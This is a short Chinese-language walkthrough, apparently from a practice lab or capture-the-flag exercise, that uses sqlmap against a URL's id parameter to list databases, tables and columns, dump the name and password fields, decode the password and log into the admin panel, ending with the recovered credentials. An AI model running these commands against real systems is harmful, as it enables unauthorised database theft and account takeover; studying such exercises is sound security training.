使用sqlmap
python3 sqlmap.py -u "http://124.70.71.251:40599/new_list.php?id=1" --batch --dbs
python3 sqlmap.py -u "http://124.70.71.251:40599/new_list.php?id=1" --batch --tables
python3 sqlmap.py -u "http://124.70.71.251:40599/new_list.php?id=1" --batch --columns
肯定不止一个字段,我们只能去猜字段名
python3 sqlmap.py -u "http://124.70.71.251:40599/new_list.php?id=1" --batch -C password --columns
python3 sqlmap.py -u "http://124.70.71.251:40599/new_list.php?id=1" --batch -C name --columns
python3 sqlmap.py -u "http://124.70.71.251:40599/new_list.php?id=1" --batch -C name,password --dump
将密码转码
然后登录后台
name=mozhe,password=962289